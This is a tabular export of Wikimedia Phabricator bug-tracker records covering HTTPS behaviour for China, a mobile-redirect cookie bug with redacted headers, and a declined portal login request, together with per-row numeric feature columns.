236693,wmgHTTPSBlacklistCountries changes for CN,Liangent: Situation is still as described in comment 8?,,,1389270599,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,True,,,-77,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,1.0,Liangent: Situation is still as described in comment 8?
236690,wmgHTTPSBlacklistCountries changes for CN,Liangent: Situation is still as described in comment 8?,,,1385134766,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,True,,,-84,True,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,1.0,Liangent: Situation is still as described in comment 8?
236686,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #7)
> Change 84781 merged by jenkins-bot:
> wmgHTTPSBlacklistCountries changes for CN
> 
> https://gerrit.wikimedia.org/r/84781

Is this correctly patched & deployed?

It seems zhwikibooks behaves correctly but wikidatawiki and commonswiki don't. It seems we should use 'wikipedia' instead of 'wiki' or it might be a suffix match.",,,1380458356,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,False,,,-92,True,0.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,2.0,0.0,7.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,5.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,14.0,0.0,7.0,3.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,7.0,5.0,9.0,2.0,7.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7413793103448274,0.7586206896551724,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE

Is this correctly patched & deployed?

It seems zhwikibooks behaves correctly but wikidatawiki and commonswiki don't. It seems we should use 'wikipedia' instead of 'wiki' or it might be a suffix match."
236682,wmgHTTPSBlacklistCountries changes for CN,"Change 84781 merged by jenkins-bot:
wmgHTTPSBlacklistCountries changes for CN

https://gerrit.wikimedia.org/r/84781",,,1379702455,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,False,,,-93,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,13.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.466666666666667,1.0,"Change 84781 merged by jenkins-bot:
wmgHTTPSBlacklistCountries changes for CN

GERRIT_URL"
236677,wmgHTTPSBlacklistCountries changes for CN,"Change 84781 had a related patch set uploaded by Reedy:
wmgHTTPSBlacklistCountries changes for CN

https://gerrit.wikimedia.org/r/84781",,,1379529615,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,False,,,-94,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.388888888888889,1.0,"Change 84781 had a related patch set uploaded by Reedy:
wmgHTTPSBlacklistCountries changes for CN

GERRIT_URL"
236671,wmgHTTPSBlacklistCountries changes for CN,"'wmgHTTPSBlacklistCountries' => array(
    'default' => array(
        'IR', // Iran
    ),
    '+wikipedia' => array(
        'IR', // Iran
    ),
),


^ I guess that's the patch...",,,1379529528,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.982142857142857,0.4642857142857143,"'wmgHTTPSBlacklistCountries' => array(
    'default' => array(
        'IR', // Iran
    ),
    '+wikipedia' => array(
        'IR', // Iran
    ),
),


^ I guess that's the patch..."
236663,wmgHTTPSBlacklistCountries changes for CN,Liangent: Willing to come up with a patch?,,,1379525113,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,True,,,-94,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,30.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,30.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,Liangent: Willing to come up with a patch?
236655,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #2)
> (In reply to comment #1)
> > (In reply to comment #0)
> > > It was reported by users that HTTPS block in China was only for Wikipedia
> > 
> > Any URL (if that question makes sense & does not create problems for
> > anybody)?
> 
> Hmm... it's even blocked in the other way for some other sites:
> 
> https://zh.greatfire.org/zh.wikisource.org (blocked)
> https://zh.greatfire.org/https/zh.wikisource.org (not blocked)

I guess I'd better provide English links:

https://en.greatfire.org/zh.wikisource.org (blocked)
https://en.greatfire.org/https/zh.wikisource.org (not blocked)",,,1378828628,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,False,,,-95,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,4.0,4.0,20.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.43137254901960786,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I guess I'd better provide English links:

URL (blocked)
URL (not blocked)"
236649,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #1)
> (In reply to comment #0)
> > It was reported by users that HTTPS block in China was only for Wikipedia
> 
> Any URL (if that question makes sense & does not create problems for
> anybody)?

Hmm... it's even blocked in the other way for some other sites:

https://zh.greatfire.org/zh.wikisource.org (blocked)
https://zh.greatfire.org/https/zh.wikisource.org (not blocked)",,,1378828294,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,False,,,-95,True,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,9.0,13.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.977777777777778,0.6,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Hmm... it's even blocked in the other way for some other sites:

URL (blocked)
URL (not blocked)"
236644,wmgHTTPSBlacklistCountries changes for CN,"(In reply to comment #0)
> It was reported by users that HTTPS block in China was only for Wikipedia

Any URL (if that question makes sense & does not create problems for anybody)?",,,1378825089,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-aswxwscnrmmqcunfrdq2,task_subcomment,,True,c3,1,True,,,-95,True,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,4.0,7.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3214285714285716,0.9285714285714286,"(In reply to comment #0)
QUOTE

Any URL (if that question makes sense & does not create problems for anybody)?"
55667,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"Use a mobile web browser. I used ""User-Agent: Opera/9.80 (Android; Opera Mini/7.5.33361/30.3793; U; sv) Presto/2.8.119 Version/11.10"".

Steps to reproduce:

1: Delete all cookies.
2: Log in to Wikipedia. You should now see the mobile site as you are using a mobile web browser.
3: At the bottom of the page, click on the link to the desktop version.
4: Elsewhere on the Internet, find a link which points to Wikipedia's desktop HTTP edition, and click on the link. Alternatively, type in a URL yourself.

Actual result: The browser shows the mobile HTTPS edition of Wikipedia.
Expected result: The browser shows the desktop HTTPS edition of Wikipedia.

IMPORTANT: You must perform steps 2 and 3 in the order indicated above! If you perform them in the opposite order, then the result is different (due to bug 43771).

== Explanation ==

Steps 2-3 should give you two cookies:

Set-Cookie: enwikiforceHTTPS=true; expires=Mon, 30-Sep-2013 23:24:04 GMT; path=/; httponly
Set-Cookie: stopMobileRedirect=true; expires=Mon, 30-Sep-2013 23:15:06 GMT; path=/; domain=.wikipedia.org; secure

When you request the Wikipedia article (say, http://en.wikipedia.org/wiki/A), the following happens:

1. Browser sends ""GET /wiki/A HTTP/1.1"" to en.wikipedia.org. As the connection is insecure, the stopMobileRedirect=true cookie isn't sent, but enwikiforceHTTPS=true is sent:

Cookie: enwikiforceHTTPS=1

2. Server detects a mobile user agent, so you are redirected (302 Moved Temporarily) to http://en.m.wikipedia.org/wiki/A (still no HTTPS).

3. Browser sends ""GET /wiki/A HTTP/1.1"" en.m.wikipedia.org. As it is still insecure, stopMobileRedirect=true isn't sent:

Cookie: enwikiforceHTTPS=true; enwikiforceHTTPS=1

4. Server detects enwikiforceHTTPS=true and enwikiforceHTTPS=1 (no idea why the browser has two cookies with the same name) and you are redirected (302 Found) to https://en.m.wikipedia.org/wiki/A.

5. Browser switches on SSL and sends ""GET /wiki/A HTTP/1.1"". Now all cookies are sent, including stopMobileRedirect=true (private information removed):

Cookie: enwikiSession=REMOVED; centralauth_User=Stefan2; centralauth_Token=REMOVED; centralauth_Session=REMOVED; enwikiUserID=808814; enwikiUserName=Stefan2; enwikiforceHTTPS=true; enwikiforceHTTPS=1; stopMobileRedirect=true

6. You see the mobile website.

Problem: As the redirect to HTTPS happens after the redirect to the mobile site, the stopMobileRedirect=true cookie is sent too late and the server won't know that you wish to stay on the desktop website.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1378073400,1380302461.0,PHID-USER-zcvchmenkrawdr5233in,False,,False,PHID-TASK-4455hu3tjinek2ehrboa,task_description,declined,True,c3,1,False,False,True,-96,True,0.3333333333333333,0.0,0.0,1.1666666666666667,0.5,4.833333333333333,0.5,0.0,0.0,0.16666666666666666,1.5,0.5,0.16666666666666666,0.0,0.0,0.16666666666666666,0.0,3.1666666666666665,5.833333333333333,0.0,0.5,0.5,0.0,0.0,0.3333333333333333,0.16666666666666666,0.0,0.16666666666666666,0.0,0.0,0.0,6.333333333333333,1.5,0.16666666666666666,0.16666666666666666,1.8333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.16666666666666666,0.5,1.8333333333333333,0.0,0.3333333333333333,0.0,0.0,0.16666666666666666,14.833333333333334,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.16666666666666666,0.16666666666666666,0.0,6.0,1.8333333333333333,14.666666666666666,0.6666666666666666,1.1666666666666667,6.833333333333333,0.0,0.0,0.16666666666666666,0.0,2.8333333333333335,0.16666666666666666,3.8333333333333335,0.0,2.6666666666666665,5.833333333333333,6.833333333333333,0.0,1.3333333333333333,0.0,2.6666666666666665,0.0,0.5,1.3333333333333333,0.3333333333333333,0.5,0.0,0.0,0.6666666666666666,4.114615253660197,0.6203609124957439,"Use a mobile web browser. I used ""User-Agent: Opera/9.80 (Android; Opera Mini/7.5.33361/30.3793; U; sv) Presto/2.8.119 Version/11.10"".

Steps to reproduce:

1: Delete all cookies.
2: Log in to Wikipedia. You should now see the mobile site as you are using a mobile web browser.
3: At the bottom of the page, click on the link to the desktop version.
4: Elsewhere on the Internet, find a link which points to Wikipedia's desktop HTTP edition, and click on the link. Alternatively, type in a URL yourself.

Actual result: The browser shows the mobile HTTPS edition of Wikipedia.
Expected result: The browser shows the desktop HTTPS edition of Wikipedia.

IMPORTANT: You must perform steps 2 and 3 in the order indicated above! If you perform them in the opposite order, then the result is different (due to bug 43771).

== Explanation ==

Steps 2-3 should give you two cookies:

Set-Cookie: enwikiforceHTTPS=true; expires=Mon, 30-Sep-2013 23:24:04 GMT; path=/; httponly
Set-Cookie: stopMobileRedirect=true; expires=Mon, 30-Sep-2013 23:15:06 GMT; path=/; domain=.wikipedia.org; secure

When you request the Wikipedia article (say, URL the following happens:

1. Browser sends ""GET /wiki/A HTTP/1.1"" to en.wikipedia.org. As the connection is insecure, the stopMobileRedirect=true cookie isn't sent, but enwikiforceHTTPS=true is sent:

Cookie: enwikiforceHTTPS=1

2. Server detects a mobile user agent, so you are redirected (302 Moved Temporarily) to URL (still no HTTPS).

3. Browser sends ""GET /wiki/A HTTP/1.1"" en.m.wikipedia.org. As it is still insecure, stopMobileRedirect=true isn't sent:

Cookie: enwikiforceHTTPS=true; enwikiforceHTTPS=1

4. Server detects enwikiforceHTTPS=true and enwikiforceHTTPS=1 (no idea why the browser has two cookies with the same name) and you are redirected (302 Found) to URL

5. Browser switches on SSL and sends ""GET /wiki/A HTTP/1.1"". Now all cookies are sent, including stopMobileRedirect=true (private information removed):

Cookie: enwikiSession=REMOVED; centralauth_User=Stefan2; centralauth_Token=REMOVED; centralauth_Session=REMOVED; enwikiUserID=808814; enwikiUserName=Stefan2; enwikiforceHTTPS=true; enwikiforceHTTPS=1; stopMobileRedirect=true

6. You see the mobile website.

Problem: As the redirect to HTTPS happens after the redirect to the mobile site, the stopMobileRedirect=true cookie is sent too late and the server won't know that you wish to stay on the desktop website.

--------------------------
**Version**: unspecified
**Severity**: minor"
256619,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,I'm marking this resolved as 'worksforme'. We are currently discussing the possibility of reaching out to Google about how they are linking search results for mobile devices.,,,1380302461,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c3,1,False,,,-92,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,6.0,3.0,6.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,9.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,19.0,3.0,0.0,6.0,0.0,9.0,0.0,3.0,0.0,0.0,12.0,0.0,0.0,0.0,4.625,0.90625,I'm marking this resolved as 'worksforme'. We are currently discussing the possibility of reaching out to Google about how they are linking search results for mobile devices.
256615,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"**mgrover** wrote:

I've tried several different ways as well and can't get it to happen either.",,,1380225162,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c3,1,False,,,-92,True,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,16.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.28,0.88,"**mgrover** wrote:

I've tried several different ways as well and can't get it to happen either."
256611,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"I've not really been able to reproduce this bug. I thought I had reproduced it by selecting an enwiki link from Google (for step 4 of the OP) - however it appears that Google is doing some kind of device detection and is turning the href for wikipedia links into en.m.wikipedia.org. By design, you can still hit the .m version of the site even if you have the stopMobileRedirect cookie - but only if you hit it explicitly. The stopMobileRedirect cookie only prevents automatic redirection.

I tried again by just typing in ""en.wikipedia.org"" into my URL bar for step 4 - I got the expected results (https, desktop site).

Stefan2, were the links you were clicking from 'elsewhere on the internet' exclusively from Google search results? Can you try again and double check the href of the links to make sure they are not pointing directly to the .m?",,,1380155649,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c3,1,False,,,-92,True,0.5,0.0,0.0,0.0,1.0,3.5,1.0,0.0,0.0,1.0,1.0,1.5,0.0,1.0,0.0,3.5,0.0,8.0,12.5,0.0,1.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.5,1.5,0.0,2.5,0.5,0.0,1.0,0.0,0.0,0.5,1.0,1.5,0.0,0.5,0.0,0.0,0.5,13.5,0.0,0.5,0.0,1.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.0,7.0,3.5,7.5,1.5,1.5,8.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,8.0,12.5,5.5,1.0,2.5,0.0,8.0,0.0,0.0,0.5,0.0,3.5,0.0,0.0,0.0,4.129411764705882,0.7705882352941176,"I've not really been able to reproduce this bug. I thought I had reproduced it by selecting an enwiki link from Google (for step 4 of the OP) - however it appears that Google is doing some kind of device detection and is turning the href for wikipedia links into en.m.wikipedia.org. By design, you can still hit the .m version of the site even if you have the stopMobileRedirect cookie - but only if you hit it explicitly. The stopMobileRedirect cookie only prevents automatic redirection.

I tried again by just typing in ""en.wikipedia.org"" into my URL bar for step 4 - I got the expected results (https, desktop site).

Stefan2, were the links you were clicking from 'elsewhere on the internet' exclusively from Google search results? Can you try again and double check the href of the links to make sure they are not pointing directly to the .m?"
256606,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"Without much digging, I suspect that Stefan2 is correct. If that's the case, we'll need to involve operations to implement a solution. We should prioritize this bug during standup on Monday. Jon, I've updated the card in Mingle so we can deal with it then.",,,1379716150,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c3,1,False,,,-93,True,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,9.0,0.0,2.0,18.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,16.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,11.0,18.0,7.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.8545454545454545,0.8181818181818182,"Without much digging, I suspect that Stefan2 is correct. If that's the case, we'll need to involve operations to implement a solution. We should prioritize this bug during standup on Monday. Jon, I've updated the card in Mingle so we can deal with it then."
256601,HTTP URL to desktop website sometimes gives mobile website for stopMobileRedirect=true if you have enwikiforceHTTPS=true,"It sounds like the cookie to force desktop mode is being set on https and not on http. Thus going to http will still redirect you to mobile and not desktop.

Arthur any thoughts on this?",,,1378400457,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4455hu3tjinek2ehrboa,task_subcomment,,True,c3,1,True,,,-95,True,2.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,18.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,8.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,18.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8,0.775,"It sounds like the cookie to force desktop mode is being set on https and not on http. Thus going to http will still redirect you to mobile and not desktop.

Arthur any thoughts on this?"
1382,Add login and create account links to www project portals,post SUL finalization the wikimedia.org/wikipedia.org/wikiquote.org/wikibooks.org/etc. front page should have the ability for users to log in and create accounts similar to the way that actual wikis do.,Low,25.0,1416508229,1477858691.0,PHID-USER-z3kqk2bjnqneldcznht6,True,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-TASK-v4mknflxvfvabkk5mtup,task_description,declined,True,c3,1,False,False,False,-32,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.068965517241379,0.8620689655172413,post SUL finalization the wikimedia.org/wikipedia.org/wikiquote.org/wikibooks.org/etc. front page should have the ability for users to log in and create accounts similar to the way that actual wikis do.
752205,Add login and create account links to www project portals,Closing per all the above comments. Can be reopened once we have a clearer problem statement.,,,1477858691,,PHID-USER-v7bwpq3rs3zdxegibdbh,True,,,PHID-TASK-v4mknflxvfvabkk5mtup,task_subcomment,,True,c3,3,True,,,69,True,6.0,0.0,0.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,11.0,6.0,0.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,4.333333333333333,0.9444444444444444,Closing per all the above comments. Can be reopened once we have a clearer problem statement.
